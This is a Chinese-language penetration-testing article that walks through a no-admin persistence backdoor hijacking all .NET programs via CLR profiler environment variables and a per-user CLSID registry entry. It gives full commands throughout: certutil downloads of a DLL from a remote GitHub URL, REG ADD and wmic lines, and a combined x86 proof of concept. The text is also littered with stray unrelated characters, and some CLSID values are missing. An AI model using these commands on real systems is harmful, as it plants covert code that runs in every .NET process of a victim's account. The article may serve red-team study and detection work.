0x00 前言
在之前的文章《Use AppDomainManager to maintain persistence》介紹了通過AppDomainManager實現(xiàn)的一種被動后門觸發(fā)機制次慢,演示了如何劫持系統(tǒng).Net程序powershell_ise.exe母市,但前提是需要獲得管理員權(quán)限绎秒。
這一次將更進(jìn)一步,介紹一種無需管理員權(quán)限的后門,并能夠劫持所有.Net程序筹我。
0x01 簡介
本文將要介紹以下內(nèi)容:
· CLR的使用
· 后門開發(fā)思路
· POC編寫
· 后門檢測
0x02 CLR的使用
CLR:
全稱Common Language Runtime(公共語言運行庫)辉懒,是一個可由多種編程語言使用的運行環(huán)境屈糊。
CLR是.NET Framework的主要執(zhí)行引擎玩徊,作用之一是監(jiān)視程序的運行:
· 在CLR監(jiān)視之下運行的程序?qū)儆凇巴泄艿摹保╩anaged)代碼
· 不在CLR之下、直接在裸機上運行的應(yīng)用或者組件屬于“非托管的”(unmanaged)的代碼
CLR的使用:
測試系統(tǒng): Win8 x86
1邑遏、啟動cmd
輸入如下代碼:
SET COR_ENABLE_PROFILING=1SET COR_PROFILER=
注:
可設(shè)置為任意數(shù)值佣赖,只要不和系統(tǒng)常用CLSID沖突就好
2、測試dll
使用彈框dll记盒,下載地址:
https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
dll開發(fā)過程可參考:
https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/
可在cmd下實現(xiàn)直接下載憎蛤,代碼如下:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dllcertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
操作如下圖
注:
delete是為了清除下載文件的緩存
更多關(guān)于使用certutil.exe下載文件的利用細(xì)節(jié)可參考文章:《滲透測試中的certutil.exe》
3、操作注冊表
默認(rèn)路徑改為msg.dll的路徑
修改后的注冊表如下圖
對應(yīng)cmd代碼如下:
SET KEY=HKEY_CURRENT_USERSoftwareClassesCLSIDInProcServer32REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /FREG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
4纪吮、在當(dāng)前cmd啟動.net程序
例如powershell.exe俩檬,啟動時加載msg.dll,彈框
操作如下圖
注:
使用其他cmd執(zhí)行powershell.exe不會加載msg.dll
原因:
SET COR_ENABLE_PROFILING=1SET COR_PROFILER=
當(dāng)然碾盟,執(zhí)行其他.net程序也會加載msg.dll
測試如下圖
0x03 后門開發(fā)思路
由以上測試得出結(jié)論棚辽,使用CLR能夠劫持所有.Net程序的啟動,但是只能作用于當(dāng)前cmd
能否作用于全局呢冰肴?
自然想到了修改環(huán)境變量
通常屈藐,修改環(huán)境變量使用面板操作的方式,如下圖
能否通過命令行修改環(huán)境變量呢熙尉?
自然想到了WMI
修改系統(tǒng)變量(需要管理員權(quán)限):
wmic ENVIRONMENT create name="1",username="",VariableValue="1"
修改當(dāng)前用戶變量(當(dāng)前用戶權(quán)限):
wmic ENVIRONMENT create name="2",username="%username%",VariableValue="2"
注:
通過WMI修改環(huán)境變量需要系統(tǒng)重啟或注銷重新登錄才能生效
接下來需要測試联逻,是否只需要修改當(dāng)前用戶權(quán)限就能夠?qū)崿F(xiàn)作用于全局,答案是肯定的检痰。
添加當(dāng)前用戶的環(huán)境變量:
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue=""
重啟后包归,成功修改,如下圖
現(xiàn)在直接啟動.Net程序铅歼,彈框公壤,成功加載msg.dll
如下圖
至此,后門思路驗證成功
0x04 POC編寫
對于32位操作系統(tǒng)椎椰,參考0x03的代碼就好厦幅,x86 POC如下:
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue=""certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dllcertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll deleteSET KEY=HKEY_CURRENT_USERSoftwareClassesCLSIDInProcServer32REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /FREG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
對應(yīng)64位系統(tǒng),需要注意重定向問題慨飘,注冊表存在32位和64位兩個位置